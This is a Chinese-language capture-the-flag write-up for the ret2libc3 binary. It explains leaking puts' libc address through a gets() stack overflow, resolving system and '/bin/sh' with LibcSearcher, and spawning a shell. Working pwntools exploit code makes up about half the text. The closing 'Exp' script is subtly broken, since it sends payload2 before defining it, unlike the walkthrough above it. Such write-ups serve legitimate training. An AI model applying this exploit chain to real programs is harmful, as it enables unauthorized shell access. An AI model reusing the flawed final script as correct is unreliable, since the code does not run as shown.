retlibc思路
程序内不存在System
函数和/bin/sh
字符串, 需要通过libc来实现反弹shell
- 泄露libc版本
- 获取libc的基地址
- 获取system地址和bin/sh地址
通过libc反弹shell的原理:程序在运行的时候会载入libc,libc里会有很多函数包括system
和/bin/sh
字符串,因为程序在开启随机地址的时候,函数的高三位是不会变的,就可以通过输出函数的地址,泄露地址的高三位判断是那个版本的libc, 然后从泄露的libc找到(puts)函数减去泄露地址的(puts)函数得到libc的基地址,得到libc的基地址就可以找到system
函数和/bin/sh
字符串。
ret2libc3源码
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No surprise anymore, system disappeard QQ.");
printf("Can you find it !?");
gets(s);
return 0;
}
栈溢出漏洞但是,在IDA里没有system
函数和/bin/sh
字符串,要想拿shell需要通过泄露libc,从libc里找到system
和/bin/sh
解题思路
在Ubuntu 16 安装LibcSearcher 解出这道题,Ubuntu 20安装LibcSearcher都是坑。 通过栈溢出泄露libc的地址,使用 r.recv(4)接收地址。
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = elf.symbols['_start']
payload1 = "a"*112+p32(puts_plt)+p32(start_addr)+p32(puts_got)
r.sendlineafter("!?", payload1)
puts_addr = u32(r.recv(4))
这个是通过接收到的puts_addr
放进LibcSearcher
函数,第一个参数选要找的函数, 第二个放入地址 就可以得到libc版本地址
libc = LibcSearcher('puts', puts_addr)
libcbase = puts_addr - libc.dump('puts') # libc的puts减去接收到的puts_addr 得到libc的基地址
system_addr = libcbase + libc.dump("system") # 获得地址
binsh_addr = libcbase + libc.dump("str_bin_sh") # 获得地址
payload2 = 'a'*112+p32(system_addr)+'aaaa'+p32(binsh_addr)
r.sendlineafter("!?", payload2)
Exp
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start_addr = elf.symbols['_start']
payload1 = "a"*112+p32(puts_plt)+p32(start_addr)+p32(puts_got)
r.sendlineafter("!?", payload2)
puts_addr = u32(r.recv(4))
print("puts_addr is: ",hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libcbase = puts_addr - libc.dump('puts')
system_addr = libcbase + libc.dump("system")
binsh_addr = libcbase + libc.dump("str_bin_sh")
payload2 = 'a'*112+p32(system_addr)+'aaaa'+p32(binsh_addr)
r.sendlineafter("!?", payload2)
r.interactive()
...